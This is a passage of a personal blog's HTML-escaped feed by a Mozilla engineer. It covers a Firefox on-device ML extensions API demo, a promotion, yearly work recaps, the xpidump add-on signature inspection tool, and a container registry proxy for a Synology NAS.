  &lt;span class=&quot;na&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;https://williamdurand.fr/images/posts/2014/12/brussels.jpg&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// res =&amp;gt; { generated_text: &quot;A large poster of a man on a wall.&quot; }&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This looks similar, right? That’s on purpose. For extension developers, the
WebExtensions API namespace is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;trial.ml&lt;/code&gt;, and the associated permission is
named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;trialML&lt;/code&gt;, which extensions must &lt;a href=&quot;https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/permissions/request&quot;&gt;request at runtime&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;What can we do with that, though?  Well, what if we were to provide the
alt-text-generation feature not just in PDFs but for any image on any website?&lt;/p&gt;

&lt;p&gt;That’s what we have done in a demo extension (&lt;a href=&quot;https://searchfox.org/mozilla-central/source/toolkit/components/ml/docs/extensions-api-example&quot;&gt;code&lt;/a&gt;,
&lt;a href=&quot;https://firefox-source-docs.mozilla.org/toolkit/components/ml/extensions-api-example/README.html&quot;&gt;docs&lt;/a&gt;), which we can see in action in the screencast
below:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;At 00:00, the demo extension has been loaded in Firefox Nightly.&lt;/li&gt;
  &lt;li&gt;At 00:02, we open the context menu on an image in the current web page, and we
click on “Generate Alt Text”. This menu entry has been added by the extension
using the &lt;a href=&quot;https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/menus&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;menus&lt;/code&gt; API&lt;/a&gt; by the way.&lt;/li&gt;
  &lt;li&gt;At 00:05, we can see that Firefox is downloading the model files (the UI is
provided by the extension, which receives events from Firefox). This means the
model was not used before so the Firefox AI runtime has to download the model
files first. This step is only necessary when Firefox doesn’t already have the
model used by the extension.&lt;/li&gt;
  &lt;li&gt;At 00:09, the model inference starts.&lt;/li&gt;
  &lt;li&gt;At 00:12, the result of the inference, which is the description of the image
in this case, is returned to the extension, and the extension shows it to
the user.&lt;/li&gt;
&lt;/ul&gt;

&lt;video controls=&quot;&quot;&gt;
  &lt;source src=&quot;/images/posts/2025/03/demo_webext_trial_ml_desktop.webm&quot; type=&quot;video/webm&quot; /&gt;
  &lt;p&gt;Your browser doesn&apos;t support HTML video.&lt;/p&gt;
&lt;/video&gt;

&lt;p&gt;Previously, I mentioned that browser extensions can be cross-browser. They can
also run on different platforms as well. In &lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1954362&quot;&gt;Bug 1954362&lt;/a&gt;, I updated this demo
extension so that it can run on &lt;a href=&quot;https://blog.mozilla.org/addons/2024/05/02/1000-firefox-for-android-extensions-now-available/&quot;&gt;Firefox for Android&lt;/a&gt; 😎&lt;/p&gt;

&lt;p&gt;The screencast below shows the same extension running in Firefox for Android:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;At 00:00, we can see a dialog because the extension has &lt;em&gt;just&lt;/em&gt; been installed.&lt;/li&gt;
  &lt;li&gt;At 00:01, the extension opened a page in a new tab to request permission to
interact with the Firefox AI runtime. This is pretty standard for browser
extensions to request permissions ahead of time.&lt;/li&gt;
  &lt;li&gt;At 00:06, we load a web page with an image.&lt;/li&gt;
  &lt;li&gt;At 00:10, we use long-press on the image to trigger the extension because
the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;menus&lt;/code&gt; API is not supported on Android yet (&lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1595822&quot;&gt;Bug 1595822&lt;/a&gt;).&lt;/li&gt;
  &lt;li&gt;At 00:12, similar to the previous screencast, Firefox starts by downloading
the model files. This takes a lot of time because my emulator isn’t exactly
fast. Do remember that this is only needed once, though.&lt;/li&gt;
  &lt;li&gt;At 01:09, the model inference starts.&lt;/li&gt;
  &lt;li&gt;At 01:12, the result of the inference, which is – again – the description of
the image, is returned to the extension, and the extension shows it to the
user.&lt;/li&gt;
&lt;/ul&gt;

&lt;video controls=&quot;&quot; height=&quot;500&quot;&gt;
  &lt;source src=&quot;/images/posts/2025/03/demo_webext_trial_ml_android.webm&quot; type=&quot;video/webm&quot; /&gt;
  &lt;p&gt;Your browser doesn&apos;t support HTML video.&lt;/p&gt;
&lt;/video&gt;

&lt;p&gt;And that’s basically it.&lt;/p&gt;

&lt;p&gt;I am personally looking forward to see what extension developers could do with
this new capability in Firefox! And since this is related to my work at Mozilla,
feel free to get in touch if you have questions.&lt;/p&gt;

&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:1&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;Mozilla has its own “hub” too, so it isn’t &lt;em&gt;just&lt;/em&gt; from Hugging Face. &lt;a href=&quot;#fnref:1&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:2&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;I wrote a bit about my use of ML at work in 2019 &lt;a href=&quot;/2021/02/26/i-got-a-promotion/&quot;&gt;in this article&lt;/a&gt;. &lt;a href=&quot;#fnref:2&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:3&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;Firefox Translations generates text so this can be considered Generative AI. A major difference is that this doesn’t rely on a Large Language Model (LLM). Instead, Translations uses (Marian) Neural Machine Translation (NMT) models and the &lt;a href=&quot;https://browser.mt/&quot;&gt;Bergamot&lt;/a&gt; runtime. &lt;a href=&quot;#fnref:3&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:4&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;My colleague Tarek wrote &lt;a href=&quot;https://hacks.mozilla.org/2024/05/experimenting-with-local-alt-text-generation-in-firefox-nightly/&quot;&gt;an extensive Hacks article about this in 2024&lt;/a&gt;. &lt;a href=&quot;#fnref:4&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
</content>
    </entry>
    
    <entry>
        <title>Senior Staff.</title>
        <link href="https://williamdurand.fr/2025/03/01/senior-staff/"/>
        <updated>2025-03-01T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2025/03/01/senior-staff</id>
        <content type="html">&lt;p&gt;I remember a conversation I had with a colleague a while back, shortly after I
joined, where they told me that promotions at Mozilla were almost
inevitable—that if you just stuck around long enough, you’d get promoted
eventually&lt;sup id=&quot;fnref:1&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:1&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;

&lt;p&gt;It certainly didn’t feel like that to me.&lt;/p&gt;

&lt;p&gt;I’ve been working at Mozilla for about 7 years and I was last &lt;a href=&quot;/2021/02/26/i-got-a-promotion/&quot;&gt;promoted in
2021&lt;/a&gt;. I joined the &lt;a href=&quot;/2022/01/25/new-team-mozilla/&quot;&gt;WebExtensions
team in 2022&lt;/a&gt; to work on Manifest
Version 3, and then I led the engineering efforts to offer full add-ons support
for Firefox for Android in 2023. I became the tech lead for Add-ons in 2024.&lt;/p&gt;

&lt;p&gt;This month, I’ve been promoted to &lt;strong&gt;Senior Staff Software Engineer&lt;/strong&gt;! 🥳&lt;/p&gt;

&lt;p&gt;&lt;em&gt;But, what is a Senior Staff?&lt;/em&gt; Mozilla says it is an individual “recognized as
one of a small set of renowned experts in an important area”, who is able to
“lead projects requiring implementation across multiple teams”.&lt;/p&gt;

&lt;p&gt;I’m grateful to my manager and coworkers for their support and guidance over the
years. I’ve been able to achieve so much more than I thought possible thanks to
them! ❤️&lt;/p&gt;

&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:1&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;Coincidentally, and years later, another colleague told me this person had
actually worked hard to get where they were, and it wasn’t just a matter of
showing up and waiting for a promotion to happen 🙃 &lt;a href=&quot;#fnref:1&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
</content>
    </entry>
    
    <entry>
        <title>Moziversary #6</title>
        <link href="https://williamdurand.fr/2024/05/01/moziversary-6/"/>
        <updated>2024-05-01T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2024/05/01/moziversary-6</id>
        <content type="html">&lt;p&gt;&lt;em&gt;Today is my sixth Moziversary 🎂 I joined Mozilla as a full-time employee on
May 1st, 2018. I previously blogged in &lt;del&gt;2019&lt;/del&gt;, &lt;a href=&quot;/2020/05/01/moziversary-2/&quot;&gt;2020&lt;/a&gt;, &lt;a href=&quot;/2021/05/01/moziversary-3/&quot;&gt;2021&lt;/a&gt;, &lt;a href=&quot;/2022/05/01/moziversary-4/&quot;&gt;2022&lt;/a&gt;,
and &lt;a href=&quot;/2023/05/01/moziversary-5/&quot;&gt;2023&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Last year, I mainly contributed to Firefox for Android as the lead engineer on a
project called “Add-ons General Availability (GA)”. The goal was to allow for
more add-ons on this platform. Success! &lt;a href=&quot;https://addons.mozilla.org/android/&quot;&gt;More than a thousand extensions are now
available on Android&lt;/a&gt; 🎉&lt;/p&gt;

&lt;p&gt;In addition, I worked on a Firefox feature called &lt;a href=&quot;https://support.mozilla.org/kb/quarantined-domains&quot;&gt;Quarantined Domains&lt;/a&gt; and
implemented a new abuse report form on &lt;a href=&quot;https://addons.mozilla.org/&quot;&gt;addons.mozilla.org&lt;/a&gt; (AMO) to comply
with the Digital Services Act (DSA). I was also involved in two other cross-team
efforts related to the Firefox installation funnel. I investigated various
issues (&lt;em&gt;e.g.&lt;/em&gt; this &lt;a href=&quot;https://bugzilla.opensuse.org/show_bug.cgi?id=1221531#c22&quot;&gt;openSUSE bug&lt;/a&gt;), and I coordinated the deprecation of
&lt;a href=&quot;https://discourse.mozilla.org/t/upgraded-add-on-signatures/129599&quot;&gt;weak add-on signatures&lt;/a&gt; and some more changes around certificates
lately, which is why I wrote &lt;a href=&quot;/xpidump/&quot;&gt;xpidump&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Phew! There is no shortage of work.&lt;/p&gt;

&lt;p&gt;When I moved to the WebExtensions team in 2022, &lt;a href=&quot;/2022/01/25/new-team-mozilla/&quot;&gt;I wrote about this incredible
challenge&lt;/a&gt;. I echoed this sentiment several months later in my &lt;a href=&quot;/2022/05/01/moziversary-4/&quot;&gt;2022
Moziversary update&lt;/a&gt;. I couldn’t imagine how much I would achieve in two
years…&lt;/p&gt;

&lt;p&gt;Back then, I didn’t know what the next step in my career would be. I have been
aiming to bridge the gap between the AMO and WebExtensions engineering teams
since at least &lt;a href=&quot;/2021/05/01/moziversary-3/&quot;&gt;2021&lt;/a&gt; and that &lt;em&gt;is&lt;/em&gt; my “next step”.&lt;/p&gt;

&lt;p&gt;I recently took a new role as Add-ons Tech Lead. This is the continuation of
what I’ve been doing for some time but that comes with new challenges and
opportunities as well. We’ll see how it goes but I am excited!&lt;/p&gt;

&lt;p&gt;I’ll be forever grateful to my manager and coworkers. Thank you ❤️&lt;/p&gt;

</content>
    </entry>
    
    <entry>
        <title>Introducing xpidump</title>
        <link href="https://williamdurand.fr/2024/04/08/introducing-xpidump/"/>
        <updated>2024-04-08T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2024/04/08/introducing-xpidump</id>
        <content type="html">&lt;p&gt;I wrote &lt;em&gt;xpidump&lt;/em&gt; to give a human-readable summary of some information about a
&lt;a href=&quot;https://addons.mozilla.org/firefox/&quot;&gt;Firefox add-on&lt;/a&gt;. It is designed to answer these two questions: is the add-on
likely&lt;sup id=&quot;fnref:1&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:1&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; signed? And if so, how?&lt;/p&gt;

&lt;p&gt;This tool takes an XPI file as input. XPI files are Firefox add-ons packaged
as ZIP archives with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.xpi&lt;/code&gt; file extension. &lt;em&gt;xpidump&lt;/em&gt; currently extracts
information from up to 4 files in an XPI (depending on what is available in the
archive):&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;manifest.json&lt;/code&gt;: this JSON file defines the add-on. It is required in any
add-on (packaged or not, signed or not).&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;META-INF/mozilla.rsa&lt;/code&gt;: this binary file is a &lt;a href=&quot;https://tools.ietf.org/html/rfc2315&quot;&gt;PKCS#7&lt;/a&gt; signature. Any signed
add-on should have this file (in addition to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;META-INF/mozilla.sf&lt;/code&gt; and
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;META-INF/manifest.mf&lt;/code&gt; but &lt;em&gt;xpidump&lt;/em&gt; doesn’t read them).&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;META-INF/cose.sig&lt;/code&gt;: this binary file is a &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc8152&quot;&gt;COSE&lt;/a&gt; signature&lt;sup id=&quot;fnref:2&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:2&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;. It might
not be present when the add-on isn’t signed or relatively old&lt;sup id=&quot;fnref:3&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:3&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;. There
should also be a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;META-INF/cose.manifest&lt;/code&gt; file when this file exists.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mozilla-recommendation.json&lt;/code&gt;: this JSON file is generated by Mozilla’s
signing service &lt;a href=&quot;https://github.com/mozilla-services/autograph&quot;&gt;Autograph&lt;/a&gt; when an add-on is signed with recommendation
states. This is how Firefox knows that an add-on is &lt;a href=&quot;https://support.mozilla.org/en-US/kb/recommended-extensions-program&quot;&gt;recommended&lt;/a&gt; for
instance. It might or might not be present.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;xpidump&lt;/em&gt; is both a command-line tool and a web app since the latter is usually
more convenient (no need to install anything). It’s written in Rust, and
compiled to WebAssembly for the web app. You can try it at:
&lt;a href=&quot;https://williamdurand.fr/xpidump/&quot;&gt;williamdurand.fr/xpidump/&lt;/a&gt;.&lt;/p&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2024/04/xpidump.webp&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;xpidump is available in the browser thanks to WebAssembly!&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The code is published on GitHub under the MIT license, see:
&lt;a href=&quot;https://github.com/willdurand/xpidump/&quot;&gt;willdurand/xpidump&lt;/a&gt;. I don’t have any
more plans for this weekend-ish project, it’s doing what I wanted it to be
doing… Let me know if you have ideas, though.&lt;/p&gt;

&lt;p&gt;One more thing while we’re here… If you want a tool to read the entire content
of any XPI file and get tons of information, you want to use &lt;a href=&quot;https://robwu.nl/crxviewer/&quot;&gt;CRX Viewer&lt;/a&gt;
created by my brilliant colleague Rob!&lt;/p&gt;

&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:1&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;This tool doesn’t verify the signature, so it cannot guarantee that the
  add-on is correctly signed. &lt;a href=&quot;#fnref:1&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:2&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;Well, a COSE sign message with a signature and serialized with &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc7049&quot;&gt;CBOR&lt;/a&gt;,
  though we should probably refer to the protocol as COSEish because of
  &lt;a href=&quot;https://github.com/franziskuskiefer/cose-rust/issues/60&quot;&gt;this issue&lt;/a&gt;. &lt;a href=&quot;#fnref:2&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:3&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;Mozilla started to dual-sign add-ons in 2019. &lt;a href=&quot;#fnref:3&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
</content>
    </entry>
    
    <entry>
        <title>Moziversary #5</title>
        <link href="https://williamdurand.fr/2023/05/01/moziversary-5/"/>
        <updated>2023-05-01T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2023/05/01/moziversary-5</id>
        <content type="html">&lt;p&gt;&lt;em&gt;Today is my fifth&lt;sup id=&quot;fnref:1&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:1&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; Moziversary 🎂 I joined Mozilla as a full-time employee
on May 1st, 2018. I previously blogged in &lt;del&gt;2019,&lt;/del&gt; &lt;a href=&quot;/2020/05/01/moziversary-2/&quot;&gt;2020&lt;/a&gt;, &lt;a href=&quot;/2021/05/01/moziversary-3/&quot;&gt;2021&lt;/a&gt;, and
&lt;a href=&quot;/2022/05/01/moziversary-4/&quot;&gt;2022&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I spent a good chunk of last year working on &lt;a href=&quot;https://blog.mozilla.org/addons/2022/11/17/manifest-v3-signing-available-november-21-on-firefox-nightly/&quot;&gt;Manifest Version 3&lt;/a&gt; (MV3) with
the rest of my team (WebExtensions / Add-ons team). My most notable “H1 2022”
contributions were probably the &lt;a href=&quot;https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/scripting&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;scripting&lt;/code&gt;&lt;/a&gt; namespace and a
&lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1793925&quot;&gt;simpler versioning format&lt;/a&gt;.&lt;/p&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2023/05/extensions-button.webp&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;The extensions button and its panel (with 3 extensions listed) in Firefox.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Next, I worked on a new primary User Interface (UI) for Firefox Desktop: the
&lt;a href=&quot;https://support.mozilla.org/en-US/kb/extensions-button&quot;&gt;extensions button&lt;/a&gt;. This feature wasn’t unanimously
well-received&lt;sup id=&quot;fnref:2&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:2&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; &lt;sup id=&quot;fnref:3&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:3&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;3&lt;/a&gt;&lt;/sup&gt; (like many other changes to the Firefox UI). Anyway, I
addressed different (usability) issues since then, and I will continue to do so!&lt;/p&gt;

&lt;p&gt;I also…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;took over more &lt;a href=&quot;https://github.com/mozilla/web-ext&quot;&gt;web-ext&lt;/a&gt; maintenance (in addition to &lt;a href=&quot;https://github.com/mozilla/addons-linter&quot;&gt;addons-linter&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;contributed content to &lt;a href=&quot;https://support.mozilla.org&quot;&gt;support.mozilla.org&lt;/a&gt;
(SUMO)&lt;/li&gt;
  &lt;li&gt;added &lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1437171&quot;&gt;WebMIDI support to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;navigator.permissions.query()&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;wrote my &lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1805783&quot;&gt;first Web platform test&lt;/a&gt;. Pretty cool!&lt;/li&gt;
  &lt;li&gt;committed to new repositories such as &lt;a href=&quot;https://github.com/mozilla-releng/scriptworker-scripts&quot;&gt;scriptworker-scripts&lt;/a&gt;,
&lt;a href=&quot;https://github.com/mozilla-extensions/xpi-template&quot;&gt;xpi-template&lt;/a&gt;, &lt;a href=&quot;https://developer.mozilla.org/&quot;&gt;MDN&lt;/a&gt;, &lt;a href=&quot;https://github.com/mdn/browser-compat-data/&quot;&gt;browser-compat-data&lt;/a&gt;, and &lt;a href=&quot;https://github.com/mozilla-mobile/firefox-android&quot;&gt;firefox-android&lt;/a&gt;
lately&lt;/li&gt;
  &lt;li&gt;found myself involved in various incidents…&lt;/li&gt;
  &lt;li&gt;stopped hating Jira&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But wait, there is more!&lt;/p&gt;

&lt;p&gt;When I was on the AMO team, we had to maintain a feature named “Return to AMO”
(RTAMO). In short, this feature allows new users interested in an add-on on
addons.mozilla.org (AMO) to download Firefox and install the add-on when Firefox
starts for the first time (without having to go back to AMO). RTAMO was extended
to more add-ons at the beginning of 2022 (and I was involved). I became very
knowledgeable about how attribution worked and documented all of that.&lt;/p&gt;

&lt;p&gt;This is one of the reasons why I became the main owner&lt;sup id=&quot;fnref:4&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:4&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;4&lt;/a&gt;&lt;/sup&gt; of the &lt;a href=&quot;https://github.com/mozilla-services/stubattribution&quot;&gt;stub
attribution service&lt;/a&gt;, an HTTP server that encodes attribution
data in Firefox (for Windows) installers and – incidentally – one of the few
critical services involved when users download Firefox. Coincidentally, this
project is now at the center of different 2023 projects. Good thing I took the
time to put this project back on track 😛&lt;/p&gt;

&lt;p&gt;Phew. That was a good year! I am now involved in many cross-functional projects
and I really enjoy it. Speaking of which, I am currently working on bringing
more add-ons to Firefox for Android 🚀&lt;/p&gt;

&lt;p&gt;That’s all for now. Many thanks to everyone I worked with over the last 12
months, it’s been great working with all of you!&lt;/p&gt;

&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:1&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;5 years or… 5 months? I moved back to France and my current employment
contract started on January 1st, heh. Still better than nothing, though. &lt;a href=&quot;#fnref:1&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:2&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;In case you didn’t know, many engineers read Reddit and/or other social
platforms. I’ve shared actionable feedback from public comments internally
more than once. That said, writing that the extensions button is the “worst
Mozilla idea of the decade” isn’t helpful. &lt;a href=&quot;#fnref:2&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:3&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;If I may, I would add that reaching out to me personally to say that you
hate the button is probably not OK. &lt;a href=&quot;#fnref:3&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:4&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;I am (still) trying to build a small team around this project and &lt;a href=&quot;https://github.com/mozilla-services/go-bouncer&quot;&gt;another
one&lt;/a&gt;. If you want to join the fun, please let me know! &lt;a href=&quot;#fnref:4&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
</content>
    </entry>
    
    <entry>
        <title>GitHub Container Registry, Proxy and Synology</title>
        <link href="https://williamdurand.fr/2023/03/18/github-container-registry-proxy-and-synology/"/>
        <updated>2023-03-18T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2023/03/18/github-container-registry-proxy-and-synology</id>
        <content type="html">&lt;p&gt;Last week, I migrated a private application from Heroku to my Synology NAS
(compatible with Docker). Thanks to &lt;a href=&quot;https://docs.github.com/en/actions&quot;&gt;GitHub Actions&lt;/a&gt;, every time the
main branch of the project is updated, a new private “Docker image” is built and
pushed to the &lt;a href=&quot;https://docs.github.com/en/packages/working-with-a-github-packages-registry/working-with-the-container-registry&quot;&gt;GitHub Container Registry&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;On the NAS, one may think that running this private (“dockerized”) application
is just a matter of logging in to the GitHub Container Registry, pulling the
image and creating a container. Correct, this works from the command line (over
SSH).&lt;/p&gt;

&lt;p&gt;Having said that, &lt;a href=&quot;https://www.synology.com/en-global/dsm&quot;&gt;Synology DiskStation Manager (DSM)&lt;/a&gt; – the Operating
System powering my NAS – offers a user interface (UI) to manage Docker images,
containers, networks and registries. I tried to use this UI to add the GitHub
Registry but it failed to load the list of images 😓&lt;/p&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2023/03/synology-error-registry.webp&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;“Registry returned bad results” said DSM, sigh.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I don’t quite like when obvious things don’t work… &lt;a href=&quot;https://kb.synology.com/en-us/DSM/help/Docker/Docker?version=6&quot;&gt;Synology’s docs say both
v1 and v2 registries are supported&lt;/a&gt; and the GitHub Container
Registry &lt;a href=&quot;https://docs.github.com/en/packages/working-with-a-github-packages-registry/working-with-the-docker-registry&quot;&gt;supports Docker&lt;/a&gt;. Shortly after, I realized that the
GitHub Container Registry didn’t fully implement the &lt;a href=&quot;https://docs.docker.com/registry/spec/api/&quot;&gt;Docker Registry HTTP
API&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Fortunately, I know &lt;a href=&quot;/2022/06/21/deep-dive-into-containers/&quot;&gt;a thing&lt;/a&gt; or &lt;a href=&quot;/2022/07/11/containers-and-micro-virtual-machines/&quot;&gt;two&lt;/a&gt; about
containers, registries, etc. so I wrote a &lt;a href=&quot;https://github.com/willdurand/container-registry-proxy&quot;&gt;Container Registry Proxy&lt;/a&gt; to
fix GitHub’s container registry for &lt;em&gt;my&lt;/em&gt; use case&lt;sup id=&quot;fnref:1&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:1&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;. This proxy exposes two
new API endpoints specified by the &lt;a href=&quot;https://docs.docker.com/registry/spec/api/&quot;&gt;HTTP API v2&lt;/a&gt; specification
and it uses the &lt;a href=&quot;https://docs.github.com/en/rest/packages&quot;&gt;GitHub REST API&lt;/a&gt; to retrieve the necessary data.
All the other calls are transparently forwarded to the upstream GitHub registry.&lt;/p&gt;

&lt;p class=&quot;can-invert-image-in-dark-mode&quot;&gt;&lt;img src=&quot;/images/posts/2023/03/container-registry-proxy.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This proxy only requires a GitHub token with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;read:packages&lt;/code&gt; permission.  It
is written in Go and distributed as a &lt;a href=&quot;https://hub.docker.com/r/willdurand/container-registry-proxy&quot;&gt;lightweight Docker image published on the
Docker Hub&lt;/a&gt;. Installing this proxy on a Synology NAS should
therefore be straightforward since the Docker Hub registry is configured by
default.&lt;/p&gt;

